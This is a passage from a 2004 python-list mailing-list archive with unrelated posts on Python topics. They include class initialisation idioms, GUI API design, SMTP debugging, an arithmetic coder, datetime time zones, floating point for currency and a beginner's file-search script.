>>>you grasp the ugly worthwhile onions before Satam does?  Many proud 
>>>cats over the abysmal planet were loving against the tired bathroom.  
>>
>>This seems to be of somewhat better quality than the output of the typical 
>>random-text generator.  Can anyone suggest something on CPAN useful for 
>>such?
> 
> 
>         Clearly, the speaker-hearer's linguistic intuition suffices
.......
> 
> Regards,
> Bengt Richter

wow! my litle chomsky :)


-- 
Robin Becker


From dperl at rogers.com  Fri Sep  3 00:45:33 2004
From: dperl at rogers.com (Dan Perl)
Date: Fri, 03 Sep 2004 04:45:33 GMT
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>	<sweNBls/KXoF089yn@the-wire.com>	<cXnZc.158891$UTP.27028@twister01.bloor.is.net.cable.rogers.com>	<CZoZc.159227$UTP.62107@twister01.bloor.is.net.cable.rogers.com>	<u3c21wnbq.fsf@fitlinxx.com>	<mEtZc.160666$UTP.71082@twister01.bloor.is.net.cable.rogers.com>	<ch5tki$csm$0$216.39.172.122@theriver.com><XCxZc.993$4et.710@news04.bloor.is.net.cable.rogers.com>	<mailman.2776.1094145516.5135.python-list@python.org><oAMZc.129134$pTn.105030@news01.bloor.is.net.cable.rogers.com>
	<mailman.2797.1094171693.5135.python-list@python.org>
Message-ID: <NFSZc.178377$UTP.128544@twister01.bloor.is.net.cable.rogers.com>

"Shalabh Chaturvedi" <shalabh at cafepy.com> wrote in message
news:mailman.2797.1094171693.5135.python-list at python.org...
    .........
> Seriously though, I think it's part of Python ideology to trust the
> programmer a little more. Notice no private or protected members.
> Keeping things explicit and not implicit such as in this case trains
> users very quickly. They'll remember to call the parent __init__, or
> figure out very quickly when it doesn't work (hopefully with useful
> error messages). If things were happening behind the scenes, users will
> have a hard time finding out what's going on when it does not work as
> expected. Or if they are power users and want to tweak something,
> they'll may have to burrow around quite a bit.
>
> That said, in cases it may actually be useful to do certain things
> automatically. After all, making life easier for the user is certainly a
> good thing. IMO, it's important to accomodate needs of all kinds of
> users, but not their fancies. From what I've seen, that seems to be the
> way Python itself is developed.

I think that what you're saying and what other people have been saying is
that this is an idiom and it's better to follow idioms in a language because
it helps people understand your code.  I agree with that and I guess I will
end up following this idiom.  In the end, it's a choice between coding for
the beginners or coding for the experienced.  In general, that's not an
obvious choice, but this seems to be quite a common idiom, so the ratio of
beginners who don't know it to people who do know it should be small.

Dan




From nid_oizo at yahoo.com_removethe_  Thu Sep 23 23:28:24 2004
From: nid_oizo at yahoo.com_removethe_ (Nicolas Fleury)
Date: Thu, 23 Sep 2004 23:28:24 -0400
Subject: up with PyGUI!
In-Reply-To: <2jG4d.38$6b6.9@fe61.usenetserver.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org>
	<KgB4d.25594$pA.1567708@news20.bellglobal.com>
	<41530803.3090805@zephyrfalcon.org>
	<kGE4d.27287$pA.1612653@news20.bellglobal.com>
	<2jG4d.38$6b6.9@fe61.usenetserver.com>
Message-ID: <5uM4d.26579$z74.474752@wagner.videotron.net>

Hans Nowak wrote:
> Admittedly, having to state the parent-child (or container-child) 
> relationship twice is redundant.  I am still thinking of ways to make 
> that work better. Maybe I'll post some suggestions on my weblog, so 
> people can discuss it there, rather than on the newsgroup.

My suggestion is to do as in Python for normal objects; they exists 
because they are referenced.  The widget can even be added under 
multiple parents; under the hood multiple wx widgets are created.

>> It is also more usable, since you can do things like:
>> myFrame.SetMenuBar(MenuBar([
>>     Menu("File", [
>>         Item("&New\tCtrl+N", self.onNew),
>>         Menu("Some sub menu...", ...)]
>>     Menu("Edit", ...)]
> 
> 
> In fact, a nested list would suffice here to contain the structure of 
> the whole menu.  I have an application that uses just that.  Maybe 
> something that can be added as well.

Admittedly I did the same thing.  But I changed it to something like my 
example.  Instead of having one piece of code analyzing nested lists or 
tuples, everything is delegated to small classes and therefore 
expandable by user and more flexible.

It's easier to do that with menus because they are not wx.Window IIRC 
and you don't have to pass the parent in constructors.  What would be 
really cool is to have the same approach for everything:

panel = Panel(
     BoxLayout(VERTICAL, [
         Label("Some text),
         BoxLayout(HORIZONTAL, [
             Button("OK", self.onOk),
             Button("Cancel", self.onCancel)])]))

What is cool about that approach is that you can do everything with 
constructors, but can still do more complex things in mulitple 
statements like in wxPython (you can still have add methods).  It has 
also the advantage to have the capability to present things 
hierarchically, as with other suggestions of using metaclasses.

>> The problem is that that explicit cross-referencing between parent and 
>> child forces the parent to be created before, removing capabilities 
>> like that one.
> 
> But adding capabilities as well... see my example in a previous post.

The problem with:
b = Button(parent, ..., layout={'expand': 'both', 'border': 2})
is that the constructor of Button is receiving arguments to a layout it 
should not know about.  The arguments can also be specific/complex for a 
certain type of layout.  It mean that widgets contructors, in addition 
to parent argument, would also need flags for the layout.  I see it the 
other way, ownership should be specified when doing the composition 
itself, and widgets constructors should only take flags for themselves 
and their children if they can have one.

Note that I'm describing what kind of API I would like to use, not 
necessarily the one you want to make;)

Cheers,
Nicolas


From peter at engcorp.com  Wed Sep  1 09:31:23 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 01 Sep 2004 09:31:23 -0400
Subject: Python cannot use SMTP...
In-Reply-To: <qqu5cl3m1bbj.noxsixyxzcd6$.dlg@40tude.net>
References: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net>
	<KaCdnQgNs7svXKjcRVn-vA@powergate.ca>
	<qqu5cl3m1bbj.noxsixyxzcd6$.dlg@40tude.net>
Message-ID: <L8ednZPp9JGwUqjcRVn-jA@powergate.ca>

JZ wrote:

> Wed, 01 Sep 2004 08:33:51 -0400, na comp.lang.python, Peter Hansen
> napisa?(a):
>>The first three characters are the critical part.  If they aren't
>>a three-digit SMTP response code, your server is likely borken.
>>If you post the results, someone might have some advice, but it's
>>not likely this is a Python issue.
> 
> via telnet localhost 25:
> ...
> Connected to localhost.
> Escape character is '^]'.
> db_connect: failed to connect to database: Error: Access denied for user:
> 'admin at localhost' (Using password: YES)
> 220 NS1.4U2.PL ESMTP
> 
> Strange, because I can send emails from bash using mail command. I can send
> email with php scripts as well (using mail() function). php.ini file has
> empty settings for SMTP, so it uses default system settings... 

I expect other tools are being more lenient, ignoring each line that
doesn't look like a proper SMTP reply until they find one that does.
That doesn't mean the smtplib approach is wrong, mind you...

It would be pretty easy to hack your local smtplib.py to skip over that
junk, if you were so inclined.

Probably even easier just to fix the server...

-Peter


From donn at u.washington.edu  Fri Sep 17 12:59:32 2004
From: donn at u.washington.edu (Donn Cave)
Date: Fri, 17 Sep 2004 09:59:32 -0700
Subject: Installation problem in AIX
References: <mailman.3441.1095413314.5135.python-list@python.org>
Message-ID: <donn-EADEBF.09593217092004@gnus01.u.washington.edu>

In article <mailman.3441.1095413314.5135.python-list at python.org>,
 <paul.baines at ecb.int> wrote:

> I'm trying to install Python 2.3.4 in AIX 5.2 with gcc 2.9. After a lot
> of messing around I got the configure script to run using the following
> command (libm parameter found from python-list archives):
> 
> configure --with-gcc --with-cxx=g++ --with-libm="" --disable-ipv6
> 
> Now I have a problem running make:
> 
>         ./Modules/makexp aix Modules/python.exp . libpython2.3.a;  gcc
> -Wl,-bE:Modules/python.exp -lld -o python  Modules/ccpython.o
> libpython2.3.a      
> collect2: /lib/libld.a: not a COFF file
> make: 1254-004 The error code from the last command is 1.
> 
> I had the same "not a COFF file" error during configure with libm.a
> until I added the --with-libm="" parameter.
> 
> Can anyone help?

If you actually could build with IBM's C compiler, do that,
and --with-cxx=no and OPT=-qmaxmem=8192.

   Donn Cave, donn at u.washington.edu


From rynt at 9yahoo.com  Fri Sep 24 11:35:30 2004
From: rynt at 9yahoo.com (R Baumann)
Date: Fri, 24 Sep 2004 08:35:30 -0700
Subject: Access to MS SQL from Linux?
References: <F1921F85572CB04D9F55B14BDC76B3E4434AA9@iron.ima.umn.edu>
	<mailman.3767.1095930522.5135.python-list@python.org>
	<c45e6536.0409231919.1e4f17b6@posting.google.com>
Message-ID: <GbednZa34a0io8ncRVn-vw@megapath.net>


"Benji York" <benji at benjiyork.com> wrote in message
news:c45e6536.0409231919.1e4f17b6 at posting.google.com...
> There is a very cool project called ODBTP (Open DataBase Transport
> Protocol) at http://odbtp.sourceforge.net.    If you're interested I'll
> email you a copy (it's LGPL).  If there is more general interest, I'll
> distribute it more widely.
>

Yep! Please do!




From adalke at mindspring.com  Wed Sep 29 00:40:35 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 29 Sep 2004 04:40:35 GMT
Subject: arithmetic coder
Message-ID: <71r6d.12953$gG4.8512@newsread1.news.pas.earthlink.net>

I was messing around with a project, trying out various
compression schemes.  One of them was for arithmetic
coding.  My implementation is .. novel ... because it
uses the Rational library for buring those CPU cycles.

Here's the output when you run it on the command-line
with the file itself as the training set and some text
from the file

% python arithmetic_coder.py arithmetic_coder.py "def for in tot R"
Orig. 136 bits, compr. 85 bits, ratio =  66%
24252431564320944671345436
Was it 'def for in tot R'?
Guess so.

That second line is the compressed text * 2**85.

For funsies, here it is.

#  A very slow arithmetic coder for Python.
#
#  "Rationals explode quickly in term of space and ... time."
#              -- comment in Rational.py (probably Tim Peters)
#
# Really.  Don't use this for real work.  Read Mark Nelson's
# Dr. Dobb's article on the topic at
#    http://dogma.net/markn/articles/arith/part1.htm
# It's readable, informative and even includes clean sample code.
#
# Contributed to the public domain. (Like they would want it ;)
# Andrew Dalke < dalke @ dalke scientific . com >


import sys

import Rational, math
R = Rational.rational

def train(text):
     """text -> 0-order probability statistics as a dictionary

     Text must not contain the NUL (0x00) character because that's
     used to indicate the end of data.
     """
     assert "\x00" not in text
     counts = {}
     for c in text:
         counts[c]=counts.get(c,0)+1
     counts["\x00"] = 1
     tot_letters = sum(counts.values())

     tot = 0
     d = {}
     prev = R(0)
     for c, count in counts.items():
         next = R(tot + count, tot_letters)
         d[c] = (prev, next)
         prev = next
         tot = tot + count
     assert tot == tot_letters

     return d


def encode(text, probs):
     """text and the 0-order probability statistics -> longval, nbits

     The encoded number is rational(longval, 2**nbits)
     """
     minval = R(0)
     maxval = R(1)
     for c in text + "\x00":
         prob_range = probs[c]
         delta = maxval - minval
         maxval = minval + prob_range[1] * delta
         minval = minval + prob_range[0] * delta

     # I tried without the /2 just to check.  Doesn't work.
     # Keep scaling up until the error range is >= 1.  That
     # gives me the minimum number of bits needed to resolve
     # down to the end-of-data character.
     delta = (maxval - minval)/2
     nbits = 0L
     while delta < 1:
         nbits = nbits + 1
         delta = delta << 1
     if nbits == 0:
         return 0, 0
     else:
         avg = (maxval + minval)<<(nbits-1)  # using -1 instead of /2
     # Could return a rational instead ...
     return avg.n/avg.d, nbits  # the division truncation is deliberate


def decode(longval, nbits, probs):
     """decoe the number to a string using the given statistics"""
     val = R(longval, 1L<<nbits)
     letters = []
     probs_items = [(c, minval, maxval) for (c, (minval, maxval))
                                  in probs.items()]

     while 1:
         for (c, minval, maxval) in probs_items:
             if minval <= val < maxval:
                 break
         else:
             raise AssertionError("not found")

         if c == "\x00":
             break
         letters.append(c)
         delta = maxval - minval
         val = (val - minval)/delta
     return "".join(letters)

if __name__ == "__main__":
     # getopt? optparse? What are they?
     import sys
     trainfilename = sys.argv[1]  # must give a filename
     phrase = sys.argv[2]  # must give text to compress (slowly!)
     probs = train(open(trainfilename).read())
     n, nbits = encode(phrase, probs)
     # +1 for the NUL terminator or equivalent
     print "Orig. %d bits, compr. %d bits, ratio = %3.f%%" % (
         (len(phrase)+1)*8, nbits, (100.*nbits) / (len(phrase)*8))
     print n
     new_phrase = decode(n, nbits, probs)
     print "Was it '%s'?" % (new_phrase,)
     if phrase == new_phrase:
         print "Guess so."
     else:
         print "Why not?!"



From cpl.19.ghum at spamgourmet.com  Wed Sep 29 04:42:08 2004
From: cpl.19.ghum at spamgourmet.com (Harald Massa)
Date: Wed, 29 Sep 2004 08:42:08 +0000 (UTC)
Subject: repeat something in a thread, but stop when the program stops
References: <5db4fffa.0409270551.57a96cda@posting.google.com>
	<mailman.3969.1096301203.5135.python-list@python.org>
	<Xns95725B68F8800cpl19ghumspamgourmet@195.20.224.116>
	<mailman.4020.1096389667.5135.python-list@python.org>
Message-ID: <Xns95736CE982AEFcpl19ghumspamgourmet@195.20.224.116>

Tim,

> as them getting many, the computer begins to feel more sluggish.

> Those are quite different, and they do more work than you may think. 
> For example, if a program puts an icon in the Windows systray, then it
> has a graphical UI too, and has to run a Windows message pump to
> detect stuff like "is the mouse hovering over my icon now?  did they
> click on me?  

My impression from reading dispatcher-code was more in the area of:

a=get_message_from_windows()

if a==waaaah_they_clicked_on_me:
   give_it_to_them_REAL_hard()
elif a==they_hover_over_me:
   do_some_hover_action()

with "get_message_from_windows()" silently and cycle-free blocking until 
windows decides to distribute a message. Something like a blocking 
socket, which makes a program wait.

> A Python thread waking up to see whether a Python Queue has something
> in it does none of that stuff.  If you have hundreds of Python threads
> doing this, then you can start to think about maybe worrying when it
> gets to thousands <wink>.

There was a young monk helping the wise ZEN-master taking a bath. After 
he filled the bath-tub for the master, he had some water left, which he 
poured away. The master got very harsh to him and asked him, who allowed 
him to spill that water.
The young monk got some enlightenment and learned that this is some 
essence of ZEN: to cherish every drop, not to waste anything; and changed 
his name to "drop of water" 

So please excuse my austerity, I also did not know "Queue.get(200)" 
and feared to use:

while True:
    time.sleep(0.5)
    if Queue.empty(): 
       pass
    else
       break

which really takes some Python bytecodes to toast some cycles :))))

Thank you very much for your detailled explanation,

Harald







From Olivier.Vierlinck at iba.be  Mon Sep  6 06:02:18 2004
From: Olivier.Vierlinck at iba.be (Olivier Vierlinck)
Date: Mon, 6 Sep 2004 12:02:18 +0200
Subject: built-in function- module name clash
Message-ID: <A146C7972CAF5E40AFDC54B98CD3C33D01FABCC1@iba11.lln.iba>

Hi,

I've a python script using somecalls to the abs() built-in function.

Now, I have to import a module named 'abs' too...
The consequence if that line code like

	  if (abs(a-b) < epsilon:
		...
does not work anymore, with this error msg:

	TypeError: 'module' object is not callable

Clearly, the interpreter tries first to consider 'abs' as a module name rather than a built-in function name.
Any idea on how to force it to call the abs() fct? Some kind of scoping or specific syntax?
(I could rename the abs module too but ...)

Thanks for your help,
cheers,
Olivier


From newsgroups at jhrothjr.com  Tue Sep 21 12:30:48 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Tue, 21 Sep 2004 11:30:48 -0500
Subject: Why not FP for Money?
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
Message-ID: <10l0lpt9n0n5k9c@news.supernews.com>


"Chris Barker" <Barkmann at gmail.com> wrote in message 
news:cc887c1d.0409202325.76ec2227 at posting.google.com...
> Hi all,
>
> I promise this is not a troll... Really, it's embarassing, because
> this is one Engineer that DID take a Numerical Analysis course, and
> from William Kahan, no less, and I still don't really get it. (and
> yes, Alex, I could have gotten my degree without it)

It seems your course didn't make the one crucial distinction
that should be written in letters of fire at the start of every
discussion of floating point.

Floating point arithmetic is useful for continuous quantities,
or quantities that are measured (as in weighed, etc.) Integers
(and rationals) are useful for things that are counted, which
includes currency units, but also includes anything else that
comes in discrete units  (apples and oranges, for instance).

Rounding issues in floating point revolve around preserving
precision, and that can be a very intricate undertaking,
but it's reasonably well understood in the context of things
that are measured.

Rounding issues in fixed point have to do with the fact
that integer division yields rationals, and if you attempt
to approximate it with fixed point fractions, then you
need to do something to preserve precision.

As another poster already said, rounding issues in
currency have a great deal to do with custom and
government regulation, and have very little to do with
anything that makes intuitive sense (unless you're an
accountant, and sometimes not even then [grin].)

Trying to mix the two always gets people in trouble,
over and above trying to use binary fractions in a field
where everyone expects decimal fractions.

>
> I've seen it suggested various times that one should use fixed point
> for money, perhaps micro cents represented as integers. However, if
> you do that, you need to make sure you do all the rounding correctly.
> If you were to use FP, you could have your IEEE 754 hardware do the
> rounding for you, and get better performance to boot. If you are
> rounding to cents at the end anyway, I can't see that the errors you'd
> get with 64 bit FP numbers would ever be an issue.
>
> I understand that when your numbers got large enough, you'd start to
> lose the pennies, but how many of us have the luxury of doing
> computation with quadrillions of dollars actually care about the
> pennies? Besides, you could check for HUGE numbers and do something
> special with them if you wanted.
>
> What am I missing here?

Debits equal Credits to the penny, always have, and always will.
(at least since double entry bookkeeping was invented.) Any
imbalance will get the Great Gods of Accounting on your tail.

John Roth

>
> -Chris 



From NOmanlio_perilloSPAM at libero.it  Tue Sep 28 05:59:40 2004
From: NOmanlio_perilloSPAM at libero.it (Manlio Perillo)
Date: Tue, 28 Sep 2004 09:59:40 GMT
Subject: getrecursiondepth
References: <27eal09cb6ggho5gbstgkbmvgillnova08@4ax.com>
	<cj3rd9$i9j$1@pegasus.csx.cam.ac.uk>
	<qebbl0l43c891b21udregn2pvj3phbfp90@4ax.com>
	<yMn5d.9974$gG4.9921@newsread1.news.pas.earthlink.net>
	<lf1dl0tqo6kui5gi2qmhgdqq0qdqfeqei0@4ax.com>
	<6fD5d.10550$gG4.6048@newsread1.news.pas.earthlink.net>
Message-ID: <lhifl0969k5s8c87b9cg2pqrbe3in9oiv3@4ax.com>

On Sun, 26 Sep 2004 17:45:38 GMT, Andrew Dalke <adalke at mindspring.com>
wrote:

>Manlio Perillo wrote:
>> 1) To write code that execute once in a function (as C static
>> variables)
>> 2) To guard against too many recursion
>
>Here's a way to get 1).  (And I don't know how
>checking the stack depth can be used to emulate
>C's static variable.)

def spam(x):
	if getrecursiondepth() == 1:
		# initialization code

This is equivalent to C++ code:

struct Init
{
Init() { /* initialization code */ }
};

void spam(int x)
{
	static Init init;
	...
}

> [...]

>
>In any case, what you're saying is that you
>want to take over control of how to limit
>Python's stack use.  

Not really...

>It also means you can't call someone else's
>code because you don't know how that might
>affect the stack.  

I don't think that calling someone else's code can affect the current
recursion depth.


>If you don't call someone
>else's code then you can always track your
>stack use yourself by passing a stack depth
>value into your recursion
>

This is simply what I want to do!

>def my_function(x, y, z, max_depth = 20):
>   if max_depth == 0: raise RuntimeError( ....)
>   ...
>     my_function(x-1,y+3,z/2, max_depth-1)
>   ...
>
>That is a more common way to solve your problem.
>

I have already used this 'pattern'.
But sometimes I don't want to expose the 'limit' on the argument list.
Actually I have resolved this by doing:

def my_function(x, y, z, __max_depth = 20)

But this means I can't use keyword argument in my function!

>>> Unlike getrecursionlimit it is something that can be
>>>calculated pretty easily.
>>>
>> 
>> I think getrecursiondepth is easy to calculate!
>
>True, and I feel somewhat silly in retrospect for
>having said that.  For some reason I was thinking
>of a non-recusive way to get that information.
>
>> Wait!
>> I have said that the real getrecursiondepth 'redefines' the origin, so
>> that outside any function it always returns 0.
>
>Ahh, I see your point.  But then you don't know
>how much stack space you have available.  

This is not a problem!.
getrecursiondepth is not intended for such things.

> [...]

>BTW,  I can fool your code
>
>def fool_recusion_base(n=950):
>   if n == 0:
>     import pystate
>     return
>   fool_recursion_base(n-1)
>
>fool_recursion_base()
>import pystate
>print pystate.getrecursiondepth()
>
>

Ok, but remember the Python paradigm: we are adult programmers...

>This will probably print a number near -950.
>
>To summarize, I don't see how your solution helps
>you with #1 and think there are better ways to
>handle #2.  Could you post code to show how you
>would use your new function?
>

Anyway I have asked why getrecursiondepth is not included in sys
module because many members of the PyThreadState struct are accessible
from Python.



Regards  Manlio Perillo


From charles.griswold at comcast.net  Fri Sep 10 12:42:33 2004
From: charles.griswold at comcast.net (Charles Griswold)
Date: Fri, 10 Sep 2004 16:42:33 GMT
Subject: Jython as embedded Marco language
Message-ID: <ZPk0d.163804$Fg5.124739@attbi_s53>

I'm considering using Jython as an embedded macro language within a 
large java app.

Has anyone had experience in such an endevor?


From aleaxit at yahoo.com  Tue Sep  7 04:30:22 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 7 Sep 2004 10:30:22 +0200
Subject: any suggestions for URL cataloging project?
References: <a8dfce8c.0409062258.269b1b35@posting.google.com>
Message-ID: <1gjqm34.152xx7t1tg6na7N%aleaxit@yahoo.com>

Matthew K Jensen <matt.torment at gmail.com> wrote:

> I've just come up with an idea to make a small-time record of web
> pages linking to other web pages. I don't want to download every page
> on the internet (I'll leave google to do that). I just want to know if
> anyone has any suggestions on how to acquire just the links from a web
> page using python. This is for a cataloging purpose. Is there some
> library or script out there that I haven't heard of?

Check out Tools/webchecker/ -- the Tools directory is part of Python's
source distribution and should also come with most prepackaged Python
distributions, I believe.


Alex


From cmetzler at speakeasy.snip-me.net  Mon Sep 20 20:32:25 2004
From: cmetzler at speakeasy.snip-me.net (Chris Metzler)
Date: Mon, 20 Sep 2004 20:32:25 -0400
Subject: Floating-point glitches with the math module. Bug? Or am
	I	missing something?
References: <pan.2004.09.20.22.13.05.488469@speakeasy.snip-me.net>
	<mailman.3614.1095725042.5135.python-list@python.org>
Message-ID: <pan.2004.09.21.00.32.24.949382@speakeasy.snip-me.net>

On Mon, 20 Sep 2004 19:03:57 -0500, Jeff Epler wrote:
>
> Incidentally, the second part of your expression goes to 0 here, with
> the given values:

Yeah, I noticed this later (it's sorta implicit in the content of my
other, followup post).

This kinda sucks because I need to do some precision surveying calcs
-- computing lat/lons for a variety of points separated by known
distances and angles from a point of known lat/lon. If I do everything
in spherical trig, I run into this issue (that whole dividing-by-earth
-radius thing).   But if I do things using planar approximations, for
most of the points I get lat/lons that are too far off from where they
should be.

-c




From jmlai at uci.edu  Thu Sep  2 19:32:00 2004
From: jmlai at uci.edu (Jason Lai)
Date: Thu, 02 Sep 2004 16:32:00 -0700
Subject: compiling to python byte codes
In-Reply-To: <4137a8da@news.unimelb.edu.au>
References: <4136b2b5$1@news.unimelb.edu.au> <2pnvpsFn74m5U1@uni-berlin.de>
	<4137a8da@news.unimelb.edu.au>
Message-ID: <ch8ahi$bkc$1@news.service.uci.edu>

Maurice LING wrote:
> Hi Leif,
> 
> Leif K-Brooks wrote:
> 
>> Maurice LING wrote:
>>
>>> Or is there any documentation or books that is the python equivalent 
>>> of "Programming for the Java Virtual Machine" by Joshua Engel?
>>
>>
>>
>> Python's byte code isn't very stable, so you might have to recreate 
>> your entire code base with every new Python version. I would suggest 
>> generating Python code (not byte code) instead and compiling that.
> 
> 
> So are you suggesting that say I want to write a compiler to compile 
> Pascal to Python Virtual Machine, it will be wiser to do source code 
> conversion from Pascal to Python?
> 
> maurice

What about generating an Abstract Syntax Tree (compiler.ast) and using 
the compiler module (compiler.pycodegen) to write the bytecode?


From NOS at Utel.no  Wed Sep 22 17:56:24 2004
From: NOS at Utel.no (=?iso-8859-1?q?Nils_O=2E_Sel=E5sdal?=)
Date: 22 Sep 2004 23:56:24 +0200
Subject: Why not FP for Money?
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
Message-ID: <pan.2004.09.22.21.56.24.604769@Utel.no>

On Tue, 21 Sep 2004 00:25:25 -0700, Chris Barker wrote:


> I understand that when your numbers got large enough, you'd start to
> lose the pennies, but how many of us have the luxury of doing
> computation with quadrillions of dollars actually care about the
> pennies? Besides, you could check for HUGE numbers and do something
> special with them if you wanted.
> 
> What am I missing here?
Noone would use or buy your software if it throws money out the window.
Even pennies.



From peter at engcorp.com  Sat Sep 25 00:54:58 2004
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 25 Sep 2004 00:54:58 -0400
Subject: Wrapping Python ?
In-Reply-To: <INWdnakjH77cbcncRVn-ig@comcast.com>
References: <INWdnakjH77cbcncRVn-ig@comcast.com>
Message-ID: <g_GdnVVeza2_Z8ncRVn-sg@powergate.ca>

USCode wrote:
> Does Python have facilities for wrapping up the interpreter, any necessary 
> modules, GUI library, python scripts, image files, etc.  up into a single 
> executable like exists for Tcl/Tk?
> e.g. http://freewrap.sourceforge.net/
> http://www.equi4.com/starkit.html
> 
> I've seen py2exe but it's not quite the same thing and doesn't appear to be 
> as comprehensive as the above 2 are for Tcl/Tk.

In what way is it not the same thing?  (Hint: I'm not about to
follow those links and learn about the products just to answer
the question... maybe you could explain it, since you seem to
be the one who knows about all three products.)

Also could you explain in what way you feel py2exe is not as
"comprehensive"?  It does what it does, does it well, and
doesn't really seem to be missing much in that area.  Maybe
you are looking for an "installer" as well, such as InnoSetup?

-Peter


From helten0007 at yahoo.com  Wed Sep 29 10:00:41 2004
From: helten0007 at yahoo.com (Peter.....)
Date: Wed, 29 Sep 2004 16:00:41 +0200
Subject: Program that can find a find a file for you ?
References: <415a7f87$0$13730$ba624c82@nntp03.dk.telia.net>
	<pan.2004.09.29.13.18.28.288793@thomas-guettler.de>
Message-ID: <415abff2$0$13728$ba624c82@nntp03.dk.telia.net>

Hi again all.
I allmost did it, just need the line to run the program now, any ideas, my 
head hurts, cant think anymore..... Thanks for your help

import sys
import os.path
import os.dir
a = sys.argv[2]
b = sys.argv[3]

def func (bib, end):
   c = os.path.dirlist(bib)

   for x in c:
   d = os.dir.split(x)
   if [1] = end
   print (bib, end)

if __name__=="__main__":





"Thomas Guettler" <guettli at thomas-guettler.de> wrote in message 
news:pan.2004.09.29.13.18.28.288793 at thomas-guettler.de...
> Am Wed, 29 Sep 2004 11:25:39 +0200 schrieb Peter Hansen:
>
>> Greetings.
>>
>> Im trying to write a program that can be run from the command line.
>> If I want to search for example after a file with the ending .pdf, I 
>> should
>> be able to write in the command line:
>> python  name of my program / the libary to search and what kind of file 
>> it
>> is example a .pdf file
>> So if my program name was test.py and the library name was library1 and 
>> the
>> test type i wanted to find was, a .pdf file
>> I should write python test.py /library1 .pdf
>
> Hi,
>
> This is something the "find" command does in a unix environment.
>
> Here is my solution:
>
> You could use this:
> find.py your_path 'library1.*\.pdf$'
>
> #!/usr/bin/env python
> # -*- coding: iso-8859-1 -*-
>
>
> # Python Imports
> import os
> import re
> import sys
>
> def usage():
>    print """Usage: %s path regex
> Print all files or directories with match the regex.
>
> See this URL for the syntax of the regular expressions
> http://docs.python.org/lib/re-syntax.html
>
>    """ % (os.path.basename(sys.argv[0]))
>
> def visit(regex, dirname, names):
>    for name in names:
>        p=os.path.join(dirname, name)
>        if regex.search(p):
>            print p
> def main():
>    if len(sys.argv)!=3:
>        usage()
>        sys.exit(1)
>    path=sys.argv[1]
>    regex=sys.argv[2]
>    os.chdir(path)
>    regex=re.compile(regex)
>    os.path.walk(".", visit, regex)
>
> if __name__=="__main__":
>    main()
> 




From aleaxit at yahoo.com  Mon Sep  6 09:21:12 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 6 Sep 2004 15:21:12 +0200
Subject: Proto-PEP: Overloadable Boolean Operators
References: <413AEEF9.7060102@cosc.canterbury.ac.nz>
	<1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com>
	<m33c1vejjw.fsf@pc150.maths.bris.ac.uk>
Message-ID: <1gjp6ia.h4fjsbsr9z8vN%aleaxit@yahoo.com>

Michael Hudson <mwh at python.net> wrote:

> aleaxit at yahoo.com (Alex Martelli) writes:
> 
> > greg <greg at cosc.canterbury.ac.nz> wrote:
> >    ...
> > > Python does not currently provide any '__xxx__' special methods
> > > corresponding to the 'and', 'or' and 'not' boolean operators. In the
> >    ...
> > > There is no such difficulty in the case of 'not', however, and it
> > 
> > Indeed, that's what the strangely-named __nonzero__ special method does:
> > it's invoked upon the 'not' operator and in no other case, 
> 
> Erm.  No.
> 
> >>> class C(object):
> ...  def __nonzero__(self):
> ...   print 'hi!'
> ...   return 1
> ... 
> >>> if C(): pass
> ... 
> hi!
> 
> Or do I misunderstand what you're saying?

Oops, no, you're right, I was wrong -- not sure why I had that
misconception in my mind right now...


Alex


From tim.peters at gmail.com  Thu Sep 16 14:45:21 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Thu, 16 Sep 2004 14:45:21 -0400
Subject: datetime and tzinfo
In-Reply-To: <m2oek6tjnz.fsf@mother.paradise.lost>
References: <m2oek6tjnz.fsf@mother.paradise.lost>
Message-ID: <1f7befae0409161145323d2709@mail.gmail.com>

[John Hunter]
> I am using the tzinfo classes from the datetime docs, eg UTC,
> USTimeZone, and the instantiations Pacific, Central, Eastern, etc.  I
> would like to take a datetime instance in the UTC timezone and
> construct the equivalent in another time zone.
>
> Eg, if I am given dt1 in the example below, and the timezone Central
> 
>  dt1 = datetime(2004, 9, 12, 14, 22, 24, tzinfo=UTC())
>
> I would like to construct the datetime instance dt2
>
>  dt2 = datetime(2004, 9, 12, 9, 22, 24, tzinfo=Central)
>
> which is the same time in a different timezone.
> 
>    >>> dt1 = datetime(2004, 9, 12, 14, 22, 24, tzinfo=UTC())
>    >>> dt2 = datetime(2004, 9, 12, 9, 22, 24, tzinfo=Central)
>    >>> dt1-dt2
>    datetime.timedelta(0)
>
> I've read through the docs at
> http://www.python.org/doc/2.3.2/lib/datetime-tzinfo.html but none of
> the methods looked just right.
>
> Is there an easy/right way to do this?

Yes, you're just looking in a, umm, suboptimal part of the docs. 
Since you're trying to construct a new datetime.datetime, the docs for
datetime.datetime are the place to look.  It's a one-liner:

dt2 = dt1.astimezone(Central)

After that,

>>> print repr(dt2)
datetime.datetime(2004, 9, 12, 9, 22, 24, tzinfo=Central)
>>> print dt1 - dt2
0:00:00
>>> print repr(dt2.astimezone(Eastern))
datetime.datetime(2004, 9, 12, 10, 22, 24, tzinfo=Eastern)

That is, you don't *have* to go thru UTC first; you can start and end
in any time zones.


From aleaxit at yahoo.com  Wed Sep  1 12:25:29 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 1 Sep 2004 18:25:29 +0200
Subject: initializing mutable class attributes
